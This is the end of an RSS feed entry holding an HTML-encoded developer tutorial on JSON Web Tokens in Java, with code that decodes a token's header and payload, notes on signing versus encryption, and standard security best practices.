            &lt;span class="nc"&gt;System&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;out&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;println&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"ID: "&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="n"&gt;claims&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;getId&lt;/span&gt;&lt;span class="o"&gt;());&lt;/span&gt;
            &lt;span class="nc"&gt;System&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;out&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;println&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"Audience: "&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="n"&gt;claims&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;getAudience&lt;/span&gt;&lt;span class="o"&gt;());&lt;/span&gt;
   &lt;span class="o"&gt;}&lt;/span&gt;


&lt;span class="o"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;By running the above code you can pass the generated token to test the validity. &lt;/p&gt;

&lt;p&gt;Decoding JWT &lt;br&gt;
Java Example&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight java"&gt;&lt;code&gt;&lt;span class="kn"&gt;package&lt;/span&gt; &lt;span class="nn"&gt;jwt&lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;

&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="nn"&gt;java.nio.charset.StandardCharsets&lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;
&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="nn"&gt;java.util.Base64&lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;

&lt;span class="kd"&gt;public&lt;/span&gt; &lt;span class="kd"&gt;class&lt;/span&gt; &lt;span class="nc"&gt;JWTTokenDecoder&lt;/span&gt; &lt;span class="o"&gt;{&lt;/span&gt;
    &lt;span class="kd"&gt;public&lt;/span&gt; &lt;span class="kd"&gt;static&lt;/span&gt; &lt;span class="kt"&gt;void&lt;/span&gt; &lt;span class="nf"&gt;decodeJWT&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="nc"&gt;String&lt;/span&gt; &lt;span class="n"&gt;token&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt; &lt;span class="o"&gt;{&lt;/span&gt;
        &lt;span class="nc"&gt;String&lt;/span&gt;&lt;span class="o"&gt;[]&lt;/span&gt; &lt;span class="n"&gt;parts&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;token&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;split&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"\\."&lt;/span&gt;&lt;span class="o"&gt;);&lt;/span&gt;
        &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="n"&gt;parts&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;length&lt;/span&gt; &lt;span class="o"&gt;!=&lt;/span&gt; &lt;span class="mi"&gt;3&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt; &lt;span class="o"&gt;{&lt;/span&gt;
            &lt;span class="k"&gt;throw&lt;/span&gt; &lt;span class="k"&gt;new&lt;/span&gt; &lt;span class="nf"&gt;IllegalArgumentException&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"Invalid JWT token format"&lt;/span&gt;&lt;span class="o"&gt;);&lt;/span&gt;
        &lt;span class="o"&gt;}&lt;/span&gt;

        &lt;span class="nc"&gt;Base64&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;Decoder&lt;/span&gt; &lt;span class="n"&gt;decoder&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nc"&gt;Base64&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;getUrlDecoder&lt;/span&gt;&lt;span class="o"&gt;();&lt;/span&gt;

        &lt;span class="c1"&gt;// Decode Header&lt;/span&gt;
        &lt;span class="nc"&gt;String&lt;/span&gt; &lt;span class="n"&gt;header&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;new&lt;/span&gt; &lt;span class="nc"&gt;String&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="n"&gt;decoder&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;decode&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="n"&gt;parts&lt;/span&gt;&lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="o"&gt;]),&lt;/span&gt; &lt;span class="nc"&gt;StandardCharsets&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;UTF_8&lt;/span&gt;&lt;span class="o"&gt;);&lt;/span&gt;
        &lt;span class="nc"&gt;System&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;out&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;println&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"JWT Header: "&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="n"&gt;header&lt;/span&gt;&lt;span class="o"&gt;);&lt;/span&gt;

        &lt;span class="c1"&gt;// Decode Payload (Body)&lt;/span&gt;
        &lt;span class="nc"&gt;String&lt;/span&gt; &lt;span class="n"&gt;payload&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;new&lt;/span&gt; &lt;span class="nc"&gt;String&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="n"&gt;decoder&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;decode&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="n"&gt;parts&lt;/span&gt;&lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="o"&gt;]),&lt;/span&gt; &lt;span class="nc"&gt;StandardCharsets&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;UTF_8&lt;/span&gt;&lt;span class="o"&gt;);&lt;/span&gt;
        &lt;span class="nc"&gt;System&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;out&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;println&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"JWT Body: "&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="n"&gt;payload&lt;/span&gt;&lt;span class="o"&gt;);&lt;/span&gt;

        &lt;span class="c1"&gt;// The signature part (parts[2]) is a hash and cannot be "decoded" into a readable string in the same way.&lt;/span&gt;
        &lt;span class="c1"&gt;// It's used for signature verification.&lt;/span&gt;
    &lt;span class="o"&gt;}&lt;/span&gt;

    &lt;span class="kd"&gt;public&lt;/span&gt; &lt;span class="kd"&gt;static&lt;/span&gt; &lt;span class="kt"&gt;void&lt;/span&gt; &lt;span class="nf"&gt;main&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="nc"&gt;String&lt;/span&gt;&lt;span class="o"&gt;[]&lt;/span&gt; &lt;span class="n"&gt;args&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt; &lt;span class="o"&gt;{&lt;/span&gt;
            &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="n"&gt;args&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;length&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt; &lt;span class="o"&gt;)&lt;/span&gt; &lt;span class="o"&gt;{&lt;/span&gt;
                    &lt;span class="nc"&gt;System&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;out&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;println&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"Please provide the token String as a parameter"&lt;/span&gt;&lt;span class="o"&gt;);&lt;/span&gt;
                    &lt;span class="k"&gt;return&lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;
            &lt;span class="o"&gt;}&lt;/span&gt;
            &lt;span class="nc"&gt;String&lt;/span&gt; &lt;span class="n"&gt;jwtToken&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;args&lt;/span&gt;&lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="o"&gt;];&lt;/span&gt;
            &lt;span class="n"&gt;decodeJWT&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="n"&gt;jwtToken&lt;/span&gt;&lt;span class="o"&gt;);&lt;/span&gt;
    &lt;span class="o"&gt;}&lt;/span&gt;
&lt;span class="o"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;You can pass the JWT and get the decoded value&lt;/p&gt;

&lt;h2&gt;
  
  
  JWT Encryption vs Signing
&lt;/h2&gt;

&lt;p&gt;Many developers confuse signing and encryption.&lt;br&gt;
Signing ensures:&lt;br&gt;
• Token integrity&lt;br&gt;
• Token authenticity&lt;/p&gt;

&lt;p&gt;Encryption ensures:&lt;br&gt;
• Token confidentiality&lt;/p&gt;

&lt;p&gt;Most JWT tokens are &lt;strong&gt;signed but not encrypted&lt;/strong&gt;.&lt;/p&gt;

&lt;h2&gt;
  
  
  Security Best Practices
&lt;/h2&gt;

&lt;p&gt;When using JWT in production:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Never store sensitive data in payload&lt;/li&gt;
&lt;li&gt;Always use HTTPS&lt;/li&gt;
&lt;li&gt;Set token expiration (exp claim) Refer: &lt;a href="https://javadoc.io/doc/io.jsonwebtoken/jjwt-api/0.11.2/io/jsonwebtoken/Claims.html" rel="noopener noreferrer"&gt;Claims    &lt;/a&gt;, &lt;a href="https://javadoc.io/static/io.jsonwebtoken/jjwt-api/0.11.2/io/jsonwebtoken/Claims.html#setExpiration(java.util.Date)" rel="noopener noreferrer"&gt;setExpiration&lt;/a&gt;
&lt;/li&gt;
&lt;li&gt;Rotate secret keys periodically&lt;/li&gt;
&lt;li&gt;Validate token signature on every request&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  When Should You Use JWT?
&lt;/h2&gt;

&lt;p&gt;JWT works well when:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Building stateless APIs&lt;/li&gt;
&lt;li&gt;Implementing microservices authentication&lt;/li&gt;
&lt;li&gt;Creating Single Sign-On systems&lt;/li&gt;
&lt;li&gt;Protecting REST APIs&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  Source Code
&lt;/h2&gt;

&lt;p&gt;All source files are available on GitHub:&lt;br&gt;
&lt;a href="https://github.com/knowledgebase21st/Software-Engineering/tree/dev/security/JWT" rel="noopener noreferrer"&gt;Github source codes&lt;/a&gt;&lt;/p&gt;

&lt;h2&gt;
  
  
  Conclusion
&lt;/h2&gt;

&lt;p&gt;JWT provides a simple and secure way to transmit claims between systems.&lt;/p&gt;

&lt;p&gt;Understanding how JWT works internally, including header, payload, and signature is important when implementing authentication systems in modern applications.&lt;/p&gt;

&lt;p&gt;By using proper signing, validation, and expiration strategies, JWT can be a powerful tool for secure API authentication.&lt;/p&gt;

</description>
      <category>java</category>
      <category>security</category>
      <category>jwt</category>
      <category>authentication</category>
    </item>
  </channel>
</rss>
